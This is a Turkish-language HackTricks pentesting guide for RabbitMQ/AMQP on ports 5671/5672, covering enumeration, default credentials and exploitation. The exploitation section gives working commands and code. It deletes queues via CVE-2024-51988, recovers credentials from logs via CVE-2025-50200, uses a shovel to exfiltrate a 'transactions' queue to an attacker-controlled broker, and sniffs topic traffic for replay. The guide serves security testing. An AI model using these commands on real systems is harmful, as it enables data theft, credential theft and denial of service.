5671,5672 - Pentesting AMQP

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Kaynak: cloudamqp:

RabbitMQ bir mesaj kuyruğu yazılımıdır, message broker veya queue manager olarak da bilinir. Basitçe söylemek gerekirse; kuyrukların tanımlandığı ve uygulamaların bir veya daha fazla mesajı aktarmak için bağlandığı bir yazılımdır.
Bir mesaj herhangi bir tür bilgi içerebilir. Örneğin, başka bir uygulamada (hatta başka bir sunucuda) başlaması gereken bir süreç veya görev hakkında bilgi içerebilir ya da sadece basit bir metin mesajı olabilir. queue-manager software, alıcı uygulama bağlanıp kuyruktan bir mesaj alana kadar mesajları depolar. Alıcı uygulama sonra mesajı işler.
Tanım kaynağı .

Varsayılan port: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Varsayılan kimlik bilgileri: guest:guest. RabbitMQ bunları loopback_users aracılığıyla localhost ile sınırlar, ancak birçok Docker/IoT image bu kontrolü devre dışı bırakır, bu yüzden engellendiğini varsaymadan önce her zaman uzak girişi test edin.
  • Kimlik doğrulama mekanizmaları: PLAIN ve AMQPLAIN varsayılan olarak etkinleştirilmiştir, ANONYMOUS anonymous_login_user/anonymous_login_pass ile eşlenir ve EXTERNAL (x509) TLS etkinleştirildiğinde açığa çıkabilir. Broker’ın ilan ettiklerini listeleyin, böylece daha sonra password spraying mi yoksa certificate impersonation mı denemeniz gerektiğini bilirsiniz.

Keşif

Manuel

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

Kimlik doğrulandıktan sonra, throughput sınırlarını ve aşırı büyük frame’lerle kaynakları tüketip tüketemeyeceğinizi anlamak için conn.server_properties, conn.channel_max ve conn.frame_max’i dump edin.

Otomatik

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL kontrolleri

  • Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

Bu sertifika zincirini, desteklenen TLS sürümlerini ve karşılıklı TLS’in gerekli olup olmadığını leak eder.

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

Host’a low-priv shell erişimi elde ettiğinizde kullanışlıdır.

  • Spot ANONYMOUS logins: Eğer broker ANONYMOUS SASL mekanizmasına izin veriyorsa, boş username/password ile bağlanmayı deneyin; RabbitMQ sizi dahili olarak anonymous_login_user’a eşleyecektir (varsayılan guest).

Brute Force

Exploitation Tips

Queue deletion without configure perms (CVE-2024-51988)

RabbitMQ ≤ 3.12.10 (ve yama uygulanmamış Tanzu build’leri) HTTP API üzerinden kuyruklar silindiğinde configure iznini kontrol etmez. Hedef vhost’a erişimi olan herhangi bir authenticated kullanıcı, yalnızca read veya write haklarına sahip olsa bile rastgele kuyrukları nuke edebilir.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Bunu rabbitmqadmin list permissions ile birleştirerek düşük ayrıcalıklı kullanıcınızın kısmi erişime sahip olduğu vhost’ları bulun, ardından kuyrukları silerek denial of service oluşturun veya AMQP tarafında gözlemlenen compensating controls’u tetikleyin. Bu hatayla zincirlemek için daha fazla HTTP API uç noktası görmek üzere 15672 pentesting’e bakın.

RabbitMQ günlüklerinden kimlik bilgilerini toplayın (CVE-2025-50200)

4.0.8/4.1.0’a kadar, management API’sine HTTP basic auth ile var olmayan bir kaynağa istek göndermek broker’ın tüm Authorization header’ını (base64) loglamasına neden olur. Eğer sınırlı filesystem erişimi elde ederseniz (ör. Docker escape, plugin RCE), /var/log/rabbitmq/rabbit@*.log içinde Authorization: araması yapın ve diğer tenants veya service accounts için kimlik bilgilerini kurtarın.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Bunu sahte endpoint’lerle kasıtlı olarak tetikleyin ve loglara yeni gizli bilgileri kaydedin; ardından çözülmüş kimlik bilgilerini AMQP, STOMP, MQTT veya doğrudan OS üzerinde yeniden kullanarak pivot yapın.

rabbitmqadmin-ng’i silahlandırın

rabbitmqadmin v2 (aka rabbitmqadmin-ng) yönetim API’si ile konuşan bağımsız bir CLI’dir ve artık Linux/macOS/Windows için statik olarak bağlı derlemelerle dağıtılıyor. Bunu erişim sunucunuza (bounce box) koyun ve script yazın:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

Araç blue/green farkındalığına sahip sağlık kontrollerini desteklediğinden, rabbitmqadmin health_check port_listener --port 5672 komutunu TLS dinleyicilerinin erişime açılıp açılmadığını uzaktan doğrulamak veya zamanlama denemeleri için servisi meşgul etmek amacıyla suistimal edebilirsiniz.

Message hijacking/sniffing

Eğer gevşek politikalar (.* bindings, topic exchanges veya x-queue-master-locator = min-masters) bulursanız, mesajları silmeden sessizce çekebilirsiniz:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

Routing anahtarını audit.# veya payments.* ile değiştirerek hassas akışlara odaklanın, ardından basic_publish argümanlarını çevirip sahte mesajları yeniden yayınlayın — downstream microservices’e karşı replay attacks için kullanışlı.

Diğer RabbitMQ portları

In https://www.rabbitmq.com/networking.html you can find that rabbitmq uses several ports:

  • 1883, 8883: (TLS olmadan ve TLS ile MQTT clients, eğer MQTT plugin etkinse. Learn more about how to pentest MQTT here.
  • 4369: epmd, RabbitMQ düğümleri ve CLI araçları tarafından kullanılan bir peer discovery servisi. Learn more about how to pentest this service here.
  • 5672, 5671: AMQP 0-9-1 ve 1.0 istemcileri tarafından TLS olmadan ve TLS ile kullanılır
  • 15672: HTTP API clients, management UI ve rabbitmqadmin (yalnızca management plugin etkinse). Learn more about how to pentest this service here.
  • 15674: STOMP-over-WebSockets clients (yalnızca Web STOMP plugin etkinse)
  • 15675: MQTT-over-WebSockets clients (yalnızca Web MQTT plugin etkinse)
  • 15692: Prometheus metrics (yalnızca Prometheus plugin etkinse)
  • 25672: inter-node ve CLI araçları iletişimi için kullanılır (Erlang distribution server port) ve dinamik bir aralıktan tahsis edilir (varsayılan olarak tek bir porta sınırlandırılır, AMQP port + 20000 olarak hesaplanır). Bu portlarda dış bağlantılar gerçekten gerekli olmadıkça (ör. küme federation kullanıyorsa veya CLI araçları alt ağın dışındaki makinelerde kullanılıyorsa) bu portlar herkese açık olmamalıdır. Detaylar için networking guide bakın. Bu portların yalnızca 9’u internete açılmış.
  • 35672-35682: düğümlerle iletişim için CLI araçları tarafından kullanılan (Erlang distribution client ports) ve dinamik bir aralıktan tahsis edilir (server distribution port + 10000 ile server distribution port + 10010 arasında hesaplanır). Detaylar için networking guide bakın.
  • 61613, 61614: STOMP clients TLS olmadan ve TLS ile (yalnızca STOMP plugin etkinse). Bu porta açık cihaz sayısı 10’dan az ve çoğunlukla DHT düğümleri için UDP.

See also

4222 Pentesting Nats

Shodan

  • AMQP

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin